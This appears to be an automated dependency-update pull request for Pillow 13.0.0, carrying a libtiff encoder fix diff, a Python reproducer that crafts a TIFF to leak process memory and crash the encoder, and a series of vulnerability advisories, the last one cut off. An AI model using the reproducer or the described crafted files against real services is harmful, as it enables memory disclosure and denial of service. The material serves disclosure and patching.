+        case TIFF_FLOAT:
+        case TIFF_DOUBLE:
+        case TIFF_RATIONAL:
+        case TIFF_SRATIONAL:
+            return 3;
+        case TIFF_ASCII:
+            return 4;
+        default:
+            return 0;
+    }
+}
+
+/* Size of the values that TIFFSetField copies from an array of the given
+   type. libtiff stores custom RATIONAL arrays as floats. */
+static int
+tiff_array_item_size(TIFFDataType type) {
+    switch (type) {
+        case TIFF_BYTE:
+        case TIFF_SBYTE:
+        case TIFF_UNDEFINED:
+        case TIFF_ASCII:
+            return 1;
+        case TIFF_SHORT:
+        case TIFF_SSHORT:
+            return 2;
+        case TIFF_LONG:
+        case TIFF_SLONG:
+        case TIFF_IFD:
+        case TIFF_FLOAT:
+        case TIFF_RATIONAL:
+        case TIFF_SRATIONAL:
+            return 4;
+        case TIFF_DOUBLE:
+        case TIFF_LONG8:
+        case TIFF_SLONG8:
+        case TIFF_IFD8:
+            return 8;
+        default:
+            return 0;
+    }
+}
+
+/* Check that a value which will be passed to TIFFSetField as a single value
+   of the given type, or as an array of len values, matches the definition
+   of the field that libtiff will use. */
+static int
+tiff_field_matches(
+    TIFFDataType field_type,
+    int passcount,
+    int writecount,
+    TIFFDataType type,
+    int is_var_length,
+    Py_ssize_t len
+) {
+    if (field_type == TIFF_ASCII && !passcount) {
+        // TIFFSetField reads a null-terminated string
+        return !is_var_length && type == TIFF_ASCII;
+    }
+    if (!is_var_length) {
+        // TIFFSetField reads a single value
+        return !passcount && writecount == 1 && tiff_scalar_arg_type(type) &&
+               tiff_scalar_arg_type(type) == tiff_scalar_arg_type(field_type);
+    }
+    // TIFFSetField reads a pointer to the values, preceded by the number of
+    // values if passcount is set. Otherwise, the number of values is fixed.
+    if (!tiff_array_item_size(type) ||
+        tiff_array_item_size(type) != tiff_array_item_size(field_type)) {
+        return 0;
+    }
+    return passcount || (writecount > 1 && len == writecount);
+}
+
+static int
+set_tiff_array_field(
+    ImagingCodecState state, int key, int passcount, Py_ssize_t len, void *av
+) {
+    if (passcount) {
+        return ImagingLibTiffSetField(state, (ttag_t)key, len, av);
+    }
+    return ImagingLibTiffSetField(state, (ttag_t)key, av);
+}
+
 PyObject *
 PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {
     ImagingEncoderObject *encoder;
@@ -689,7 +789,8 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {
     PyObject *key, *value;
     Py_ssize_t pos = 0;
     int key_int, status, is_core_tag, is_var_length, num_core_tags, i;
-    TIFFDataType type = TIFF_NOTYPE;
+    int is_known_tag, passcount, writecount;
+    TIFFDataType type = TIFF_NOTYPE, field_type;
     // This list also exists in TiffTags.py
     const int core_tags[] = {256, 257, 258,   259,   262,   263,   266,  269, 274, 277,
                              278, 280, 281,   282,   283,   284,   286,  287, 296, 297,
@@ -777,6 +878,8 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {
         status = 0;
         is_core_tag = 0;
         is_var_length = 0;
+        is_known_tag = 0;
+        passcount = 1;
         type = TIFF_NOTYPE;
 
         for (i = 0; i < num_core_tags; i++) {
@@ -800,6 +903,15 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {
                 }
                 Py_DECREF(tag_type);
             }
+
+            // libtiff uses its own definition for tags that it already knows,
+            // rather than the field registered below.
+            is_known_tag = ImagingLibTiffFindField(
+                &encoder->state, key_int, &field_type, &passcount, &writecount
+            );
+            if (is_known_tag && type == TIFF_NOTYPE) {
+                type = field_type;
+            }
         }
 
         if (type == TIFF_NOTYPE) {
@@ -838,7 +950,7 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {
 
         if (!is_core_tag) {
             // Register field for non core tags.
-            if (type == TIFF_BYTE) {
+            if (type == TIFF_BYTE || type == TIFF_UNDEFINED) {
                 is_var_length = 1;
             }
             if (ImagingLibTiffMergeFieldInfo(
@@ -847,6 +959,28 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {
                 Py_DECREF(item);
                 continue;
             }
+
+            if (is_known_tag) {
+                // Check that the value will be passed to TIFFSetField in the
+                // form that libtiff's definition of the tag expects.
+                Py_ssize_t len = 0;
+                if (PyTuple_Check(value)) {
+                    len = PyTuple_Size(value);
+                } else if (PyBytes_Check(value)) {
+                    len = PyBytes_Size(value);
+                }
+                if (!tiff_field_matches(
+                        field_type, passcount, writecount, type, is_var_length, len
+                    )) {
+                    Py_DECREF(encoder);
+                    Py_DECREF(item);
+                    PyErr_SetString(
+                        PyExc_ValueError,
+                        "Tag value does not match libtiff field definition"
+                    );
+                    return NULL;
+                }
+            }
         }
 
         if (type == TIFF_BYTE || type == TIFF_UNDEFINED ||
@@ -857,9 +991,10 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {
                 PyErr_SetString(PyExc_ValueError, "Incorrect tag value type");
                 return NULL;
             }
-            status = ImagingLibTiffSetField(
+            status = set_tiff_array_field(
                 &encoder->state,
-                (ttag_t)key_int,
+                key_int,
+                passcount,
                 PyBytes_Size(value),
                 PyBytes_AsString(value)
             );
@@ -909,8 +1044,8 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {
                     for (i = 0; i < len; i++) {
                         av[i] = (UINT16)PyLong_AsLong(PyTuple_GetItem(value, i));
                     }
-                    status = ImagingLibTiffSetField(
-                        &encoder->state, (ttag_t)key_int, len, av
+                    status = set_tiff_array_field(
+                        &encoder->state, key_int, passcount, len, av
                     );
                     free(av);
                 }
@@ -922,8 +1057,8 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {
                     for (i = 0; i < len; i++) {
                         av[i] = (UINT32)PyLong_AsLong(PyTuple_GetItem(value, i));
                     }
-                    status = ImagingLibTiffSetField(
-                        &encoder->state, (ttag_t)key_int, len, av
+                    status = set_tiff_array_field(
+                        &encoder->state, key_int, passcount, len, av
                     );
                     free(av);
                 }
@@ -935,8 +1070,8 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {
                     for (i = 0; i < len; i++) {
                         av[i] = (INT8)PyLong_AsLong(PyTuple_GetItem(value, i));
                     }
-                    status = ImagingLibTiffSetField(
-                        &encoder->state, (ttag_t)key_int, len, av
+                    status = set_tiff_array_field(
+                        &encoder->state, key_int, passcount, len, av
                     );
                     free(av);
                 }
@@ -948,8 +1083,8 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {
                     for (i = 0; i < len; i++) {
                         av[i] = (INT16)PyLong_AsLong(PyTuple_GetItem(value, i));
                     }
-                    status = ImagingLibTiffSetField(
-                        &encoder->state, (ttag_t)key_int, len, av
+                    status = set_tiff_array_field(
+                        &encoder->state, key_int, passcount, len, av
                     );
                     free(av);
                 }
@@ -961,8 +1096,8 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {
                     for (i = 0; i < len; i++) {
                         av[i] = (INT32)PyLong_AsLong(PyTuple_GetItem(value, i));
                     }
-                    status = ImagingLibTiffSetField(
-                        &encoder->state, (ttag_t)key_int, len, av
+                    status = set_tiff_array_field(
+                        &encoder->state, key_int, passcount, len, av
                     );
                     free(av);
                 }
@@ -974,8 +1109,8 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {
                     for (i = 0; i < len; i++) {
                         av[i] = (FLOAT32)PyFloat_AsDouble(PyTuple_GetItem(value, i));
                     }
-                    status = ImagingLibTiffSetField(
-                        &encoder->state, (ttag_t)key_int, len, av
+                    status = set_tiff_array_field(
+                        &encoder->state, key_int, passcount, len, av
                     );
                     free(av);
                 }
@@ -987,12 +1122,12 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {
                     for (i = 0; i < len; i++) {
                         av[i] = PyFloat_AsDouble(PyTuple_GetItem(value, i));
                     }
-                    status = ImagingLibTiffSetField(
-                        &encoder->state, (ttag_t)key_int, len, av
+                    status = set_tiff_array_field(
+                        &encoder->state, key_int, passcount, len, av
                     );
                     free(av);
                 }
-            } else if (type == TIFF_RATIONAL) {
+            } else if (type == TIFF_RATIONAL || type == TIFF_SRATIONAL) {
                 FLOAT32 *av;
                 /* malloc check ok, calloc checks for overflow */
                 av = calloc(len, sizeof(FLOAT32));
@@ -1000,8 +1135,9 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {
                     for (i = 0; i < len; i++) {
                         av[i] = (FLOAT32)PyFloat_AsDouble(PyTuple_GetItem(value, i));
                     }
-                    status =
-                        ImagingLibTiffSetField(&encoder->state, (ttag_t)key_int, av);
+                    status = set_tiff_array_field(
+                        &encoder->state, key_int, passcount, len, av
+                    );
                     free(av);
                 }
             }
diff --git a/src/libImaging/TiffDecode.c b/src/libImaging/TiffDecode.c
index 8a57c523d..e14dd50bb 100644
--- a/src/libImaging/TiffDecode.c
+++ b/src/libImaging/TiffDecode.c
@@ -923,6 +923,29 @@ ImagingLibTiffMergeFieldInfo(
     return TIFFMergeFieldInfo(clientstate->tiff, info, n);
 }
 
+int
+ImagingLibTiffFindField(
+    ImagingCodecState state,
+    int key,
+    TIFFDataType *field_type,
+    int *passcount,
+    int *writecount
+) {
+    // Look up libtiff's own definition of a tag. TIFFMergeFieldInfo does not
+    // replace the definition of a tag that libtiff already knows, so this is
+    // what TIFFSetField will use for such tags.
+    TIFFSTATE *clientstate = (TIFFSTATE *)state->context;
+    const TIFFField *fip = TIFFFindField(clientstate->tiff, (ttag_t)key, TIFF_ANY);
+
+    if (!fip) {
+        return 0;
+    }
+    *field_type = TIFFFieldDataType(fip);
+    *passcount = TIFFFieldPassCount(fip);
+    *writecount = TIFFFieldWriteCount(fip);
+    return 1;
+}
+
 int
 ImagingLibTiffSetField(ImagingCodecState state, ttag_t tag, ...) {
     // after tif_dir.c->TIFFSetField.
diff --git a/src/libImaging/TiffDecode.h b/src/libImaging/TiffDecode.h
index c31d0b9d8..ee1e4a5f9 100644
--- a/src/libImaging/TiffDecode.h
+++ b/src/libImaging/TiffDecode.h
@@ -41,6 +41,14 @@ ImagingLibTiffMergeFieldInfo(
     ImagingCodecState state, TIFFDataType field_type, int key, int is_var_length
 );
 extern int
+ImagingLibTiffFindField(
+    ImagingCodecState state,
+    int key,
+    TIFFDataType *field_type,
+    int *passcount,
+    int *writecount
+);
+extern int
 ImagingLibTiffSetField(ImagingCodecState state, ttag_t tag, ...);
 
 /*
The reproducer
Reproducer — repro, 2,545 bytes (click to open)

Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG.


#!/usr/bin/env python3
##### Pillow libtiff writer: a count-1 integer tag copied from the source TIFF is passed to

##### TIFFSetField() as one scalar vararg; for tags libtiff itself defines as arrays it is
##### consumed as a byte COUNT (DNGPrivateData 50740 -> N bytes of process memory written

##### into the output) or as a POINTER (ActiveArea 50829 -> SIGSEGV).  Application side is
##### the ordinary "open upload, save as TIFF" (compression is inherited -> libtiff writer).
import io, struct, subprocess, sys, resource
from PIL import Image

def upload(tag, value):
    """Pillow-written 16x16 LZW TIFF, plus one extra IFD entry <tag> LONG[1] = value."""
    b = io.BytesIO()
    Image.new("RGB", (16, 16), "red").save(b, "TIFF", compression="tiff_lzw")
    data = bytearray(b.getvalue()); assert data[:4] == b"II*\0"
    (off,) = struct.unpack_from("<I", data, 4)
    (n,) = struct.unpack_from("<H", data, off)
    ents = [bytes(data[off + 2 + 12 * i: off + 14 + 12 * i]) for i in range(n)]
    ents.append(struct.pack("<HHII", tag, 4, 1, value))
    ents.sort(key=lambda e: struct.unpack_from("<H", e)[0])
    data += b"\0" * (len(data) & 1); new_off = len(data)
    data += struct.pack("<H", len(ents)) + b"".join(ents) + struct.pack("<I", 0)
    struct.pack_into("<I", data, 4, new_off)
    return bytes(data)

def resave(src):                       # the whole "service"
    im = Image.open(io.BytesIO(src)); out = io.BytesIO(); im.save(out, "TIFF")
    return out.getvalue()

if len(sys.argv) > 1 and sys.argv[1] == "child":
    resource.setrlimit(resource.RLIMIT_CORE, (0, 0))
    resave(upload(50829, 64)); sys.exit(0)

print("PIL core:", Image.core.__file__)
ctl = Image.open(io.BytesIO(resave(upload(65000, 4096)))).tag_v2.get(65000)
print("control  tag 65000=4096 ->", repr(ctl))

N = 65536
src = upload(50740, N)
try:
    v = Image.open(io.BytesIO(resave(src))).tag_v2.get(50740)
except (ValueError, RuntimeError) as e:   # a fixed Pillow may reject the tag
    v = e
leak = isinstance(v, bytes) and len(v) == N and v[:64] not in src
print(f"leak     tag 50740={N} from a {len(src)}-byte upload ->",
      f"{len(v)} bytes not present in input, head {v[:32].hex()}" if leak else repr(v)[:80])
if leak:
    so = open(Image.core.__file__, "rb").read()
    print("         leaked bytes found in _imaging.so at file offset", hex(so.find(v[:256])))

rc = subprocess.call([sys.executable, __file__, "child"])
crash = rc in (-11, 139)
print("crash    tag 50829=64 -> child exit", rc, "(SIGSEGV)" if crash else "")
print("BUG" if leak or crash else "OK")

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


BIT-pillow-2026-112392 / CVE-2026-112392 / GHSA-27h8-gf7j-v5hc / PYSEC-2026-4326

More information

Details

Pillow is a Python imaging library. Prior to 13.0.0, Pillow's rank-based filters can dereference invalid image storage for a zero-size image. ImagingExpand() allocates a non-empty output and then faults while replicating edges by reading the first pixel from empty input storage; ImagingRankFilter is never reached. An attacker can supply or cause creation of a zero-size image to an application that applies a rank, median, minimum, or maximum filter. This causes a native process crash. This issue is fixed in version 13.0.0.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


BIT-pillow-2026-112394 / CVE-2026-112394 / GHSA-4558-3h8r-v8xp / PYSEC-2026-4327

More information

Details

Pillow is a Python imaging library. Prior to 13.0.0, Pillow's P;2L and P;4L raw decoders can read past the end of an input buffer. ImagingRawDecode calculates a packed-pixel row size, while the unpackers read separately padded bit planes. A caller can supply a buffer and image dimensions whose accepted size is smaller than the unpacker's actual footprint. This can disclose up to three adjacent heap bytes in output pixels or crash the process. This issue is fixed in version 13.0.0.

Severity

  • CVSS Score: 8.2 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


BIT-pillow-2026-112396 / CVE-2026-112396 / GHSA-4rr5-89j8-mwwm / PYSEC-2026-4328

More information

Details

Pillow is a Python imaging library. From 11.3.0 until 13.0.0, Pillow has a heap use-after-free when libtiff rejects a tag while encoding TIFF data to an in-memory buffer. When an application saves attacker-influenced TIFF tags to BytesIO, libtiff can reject a tag during encoding in ImagingLibTiffEncode; the error path then frees the output buffer without closing or clearing the TIFF handle, and later cleanup flushes through the write callback into freed memory, which can crash the process and may enable code execution. This issue is fixed in version 13.0.0.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


BIT-pillow-2026-112397 / CVE-2026-112397 / GHSA-58r4-6rv3-gfh8 / PYSEC-2026-4329

More information

Details

Pillow is a Python imaging library. Prior to 13.0.0, Pillow's ImageMorph.MorphOp.apply() can access memory before a row buffer for a zero-width image. PPM and PGM input can create an image with width zero, and the native morphology routine indexes outrow[width - 1] without rejecting that geometry. An attacker can supply such an image to an application that applies a morphology operation. This can crash the process. This issue is fixed in version 13.0.0.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


BIT-pillow-2026-112398 / CVE-2026-112398 / GHSA-5x8w-8jj5-q52h / PYSEC-2026-4330

More information

Details

Pillow is a Python imaging library. Prior to 13.0.0, Pillow's FlashPix JPEG-tile decoder can write decoded scanlines beyond the allocated tile buffer. FlashPix (FPX) JPEG decoding selects raw mode LA with two bytes per pixel, while an unrecognized JPEG mode can be decoded as JCS_UNKNOWN with four components, causing ImagingJpegDecode to write four-component scanlines into the two-byte tile buffer. An attacker can supply a crafted OLE2 FlashPix file to an application with the optional olefile dependency installed that opens or thumbnails untrusted input. This can corrupt heap memory and may allow arbitrary code execution. This issue is fixed in version 13.0.0.

Severity

  • CVSS Score: 9.8 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


BIT-pillow-2026-112402 / CVE-2026-112402 / GHSA-7mwm-ghpf-9vrm / PYSEC-2026-4331

More information

Details

Pillow is a Python imaging library. Prior to 13.0.0, Pillow can double free image memory when ImagingScaleAffine encounters a selective allocation failure. The affected fast path handles Transform.EXTENT or pure scale-and-translate Transform.AFFINE operations with the default NEAREST resampling. The output image allocation must succeed while the additional per-column lookup allocation fails, after which the error path deletes image storage that later cleanup releases again. An attacker who can drive such a large Image.transform() operation under memory pressure may trigger the failure. This can crash the process and may corrupt memory. This issue is fixed in version 13.0.0.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


BIT-pillow-2026-112403 / CVE-2026-112403 / GHSA-8g5g-8vmr-9782 / PYSEC-2026-4332

More information

Details

Pillow is a Python imaging library. Prior to 13.0.0, Pillow's JPEG decoder can write a full-width scanline into a buffer sized for a requested draft scale. ImagingJpegDecode does not verify libjpeg's actual output width and component count after scaling is requested, and an 8-bit lossless SOF3 JPEG decoded by a build linked to libjpeg-turbo 3.x can ignore the requested downscaling geometry. An attacker can supply such a JPEG to an application that uses draft() or thumbnail() to request downscaling. This can corrupt heap memory, crash the process, or potentially allow code execution. Older libjpeg-turbo 2.x and IJG builds reject the SOF3 input. This issue is fixed in version 13.0.0.

Severity

  • CVSS Score: 9.8 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


BIT-pillow-2026-112405 / CVE-2026-112405 / GHSA-cp9v-662q-vvx9 / PYSEC-2026-4333

More information

Details

Pillow is a Python imaging library. From 12.0.0 until 13.0.0, Pillow's Image.merge() can dereference a null image8 plane. Validation skips the first input band, allowing a 32-bit integer or floating-point image backed by image32 storage to be merged as a narrower multiband image. A crafted IPTC file can reach this path when an application opens and loads it, or a caller can invoke Image.merge() directly with such a first band. This causes a native process crash. This issue is fixed in version 13.0.0.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


BIT-pillow-2026-112896 / CVE-2026-112896 / GHSA-pchr-8j38-3x4p / PYSEC-2026-4334

More information

Details

Pillow is a Python imaging library. Prior to 13.0.0, Pillow's TIFF encoder can read beyond a ColorMap buffer when retained TIFF metadata has a plane size inconsistent with BitsPerSample. A small TIFF can be opened normally and then retain a crafted ColorMap that is reused when the image is saved. An application that re-encodes the attacker's TIFF with libtiff can trigger the out-of-bounds read. This can disclose heap memory in the output or crash the process. This issue is fixed in version 13.0.0.

Severity

  • CVSS Score: 7.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


BIT-pillow-2026-112901 / CVE-2026-112901 / GHSA-xgh8-jp6q-p5x8 / PYSEC-2026-4335

More information

Details

Pillow is a Python imaging library. Prior to 13.0.0, Pillow's XBM header parser is vulnerable to regular-expression denial of service. In XbmImageFile._open, when an application calls Image.open() on a small crafted XBM file, XbmImagePlugin applies a backtracking expression to the attacker-controlled header before image dimensions are accepted, stalling a worker for minutes and denying service. This issue is fixed in version 13.0.0.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


BIT-pillow-2026-114501 / CVE-2026-114501 / GHSA-654x-cwwv-5j9c / PYSEC-2026-4336

More information

Details

Pillow is a Python imaging library. From 11.2.1 until 13.0.0, Arrow export assumes that an image's rows are tightly contiguous and exports from im->blocks[0].ptr even when PILLOW_ALIGNMENT makes aligned_linesize include row padding or an aligned offset before the first row. The resulting Arrow buffer can include uninitialized padding, bytes preceding the first row, or stale heap contents from previously freed images. Applications that configure alignment and export images to Arrow can therefore disclose one user's pixels or other process memory to another user. This issue is fixed in version 13.0.0.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


BIT-pillow-2026-96636 / CVE-2026-96636 / GHSA-p8hx-v2p6-rp84 / PYSEC-2026-4337

More information

Details

Pillow is a Python imaging library. Prior to 13.0.0, MpoImageFile.seek() and DcxImageFile.seek() reparse later MPO or DCX frames and replace self._size without rerunning Image._decompression_bomb_check(). A crafted multi-frame image can use a tiny first frame to pass Image.open() and then declare an over-limit later frame. Normal frame iteration through seek(), load(), or ImageSequence.Iterator can decode that frame and commit hundreds of megabytes or more, causing memory-exhaustion denial of service. This issue is fixed in version 13.0.0.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


BIT-pillow-2026-96637 / CVE-2026-96637 / GHSA-g842-9rc4-69pw / PYSEC-2026-4338

More information

Details

Pillow is a Python imaging library. Prior to 13.0.0, SpiderImageFile.seek() in src/PIL/SpiderImagePlugin.py reparses a later SPIDER stack frame and replaces self._size without rerunning Image._decompression_bomb_check(). A tiny file can use a safe first frame to pass Image.open() and then declare very large dimensions in a later mode F frame. Loading that frame allocates approximately four bytes per attacker-declared pixel and can consume multiple gigabytes of memory. This issue is fixed in version 13.0.0.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


BIT-pillow-2026-96639 / CVE-2026-96639 / GHSA-v9pv-5gc8-w2m6 / PYSEC-2026-4339

More information

Details

Pillow is a Python imaging library. From 11.0.0 until 13.0.0, multi-frame loaders can retain an ImagingCore allocation created for a narrow frame mode while a later frame of the same dimensions changes the logical mode and decoder tiles to wider RGB or CMYK data. ImageFile.load_prepare() reuses the stale native storage because _im is non-null without verifying that its mode and size still match. Crafted PSD, MPO, DCX, or MIC frame transitions can then write wider pixels into the narrow allocation, causing native out-of-bounds writes and crashes. The MPO path can also cause a native over-read and, in demonstrated runtime-specific profiles, command execution. This issue is fixed in version 13.0.0.

Severity

  • CVSS Score: 9.8 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


BIT-pillow-2026-96641 / CVE-2026-96641 / GHSA-4rm8-3hmm-39fg / PYSEC-2026-4340

More information

Details

Pillow is a Python imaging library. Prior to 13.0.0, PILfont text-width accumulation in src/_imaging.c checks positive glyph advances against INT_MAX but does not check negative advances against INT_MIN. Repeating a signed 16-bit advance of -32768 can therefore execute a signed C integer overflow in xsize += dx, producing a large positive width from a negative mathematical result. Applications that use getlength(), getsize(), or derived layout, quota, serialization, or allocation calculations can experience logic-integrity errors or resource consumption, while the high-level mask path commonly retains a decompression-bomb check. This issue is fixed in version 13.0.0.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


BIT-pillow-2026-96642 / CVE-2026-96642 / GHSA-3j72-p6qg-6xp7 / PYSEC-2026-4341

More information

Details

Pillow is a Python imaging library. Prior to 13.0.0, the TarIO initializer in src/PIL/TarIO.py accepts a negative octal member size and computes a backward seek that returns to the same 512-byte header. When the requested member name does not match, the parser repeatedly reads that header, consumes a full CPU core, and never returns. TarIO is reached only when an application directly uses PIL.TarIO.TarIO rather than the default Image.open() path. This issue is fixed in version 13.0.0.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


BIT-pillow-2026-96643 / CVE-2026-96643 / GHSA-g4qv-2jxx-769h / PYSEC-2026-4342

More information

Details

Pillow is a Python imaging library. From 11.0.0 until 13.0.0, Exif.load() in src/PIL/Image.py repeatedly slices the remaining EXIF data while it begins with the six-byte Exif header. src/PIL/PngImagePlugin.py accepts an uncapped PNG eXIf chunk, so a file filled with repeated headers causes a new shrinking copy on every iteration and quadratic CPU work. The condition is reachable through Image.getexif(), Image._getexif(), and ImageOps.exif_transpose(), including common photo-upload rotation workflows. This issue is fixed in version 13.0.0.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


BIT-pillow-2026-96644 / CVE-2026-96644 / GHSA-9v9v-9qvf-h2hj / PYSEC-2026-4343

More information

Details

Pillow is a Python imaging library. Prior to 13.0.0 on Windows, src/PIL/WmfImagePlugin.py passes unchecked 32-bit WMF or EMF dimensions to the native drawwmf handler in src/display.c. The handler sizes a DIB allocation from 16-bit-truncated bcWidth and bcHeight fields but copies pixel data using the original full dimensions. A crafted wide, short metafile can pass the pixel-count decompression-bomb check and make the Windows-only renderer read beyond the heap buffer, potentially disclosing memory or crashing the process. This issue is fixed in version 13.0.0.

Severity

  • CVSS Score: 8.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


Release Notes

python-pillow/Pillow (pillow)

v13.0.0

Compare Source

https://pillow.readthedocs.io/en/stable/releasenotes/13.0.0.html

Removals
Deprecations
Documentation
Dependencies
Testing
Type hints
Other changes

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about these updates again.


  • If you want to rebase/retry this PR, check this box

This PR has been generated by Mend Renovate CLI.

This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [pillow](https://github.com/python-pillow/Pillow) ([changelog](https://github.com/python-pillow/Pillow/releases)) | `~=12.1` → `~=13.0` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/pillow/13.0.0?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/pillow/12.3.0/13.0.0?slim=true) | | [pillow](https://github.com/python-pillow/Pillow) ([changelog](https://github.com/python-pillow/Pillow/releases)) | `~=12.1` → `~=13.0` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/pillow/13.0.0?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/pillow/12.2.0/13.0.0?slim=true) | --- ### Pillow `BdfFontFile`: `Image.new()` called without `_decompression_bomb_check()` — bomb protection bypass via font loading BIT-pillow-2026-55379 / [CVE-2026-55379](https://nvd.nist.gov/vuln/detail/CVE-2026-55379) / [GHSA-45hq-cxwh-f6vc](https://github.com/advisories/GHSA-45hq-cxwh-f6vc) / PYSEC-2026-2255 <details> <summary>More information</summary> #### Details ##### Summary `PIL/BdfFontFile.py` `bdf_char()` (lines 84–88) reads the `BBX width height` field from a BDF font file and passes the dimensions directly to `Image.new()` without calling `Image._decompression_bomb_check()`. This completely bypasses Pillow's documented decompression bomb protection. `Image.open()` enforces `MAX_IMAGE_PIXELS = 89,478,485` and raises `DecompressionBombError` for images exceeding `2 × MAX = 178,956,970` pixels. The BDF font loading path calls `Image.new()` directly, which only calls `_check_size()` (validates `>= 0`) — no pixel count limit. **Vulnerable code (`PIL/BdfFontFile.py` lines 84–88):** ```python ##### width, height from attacker-controlled "BBX width height x y" line try: im = Image.frombytes("1", (width, height), bitmap, "hex", "1") except ValueError: # TRIGGERED when BITMAP section is empty (zero hex lines) im = Image.new("1", (width, height)) # ← NO _decompression_bomb_check()! # ^ This image is stored in self.glyph[ch] — persists in memory ``` **Attack trigger:** A BDF glyph with `BBX 20000 20000` and an empty `BITMAP` section causes `Image.frombytes()` to raise `ValueError`, then `Image.new("1", (20000, 20000))` allocates **50 MB** of C-heap silently. Image.open() would raise `DecompressionBombError` for the same dimensions. ##### Steps to reproduce **Minimal malicious BDF file (270 bytes):** ``` STARTFONT 2.1 SIZE 16 75 75 FONTBOUNDINGBOX 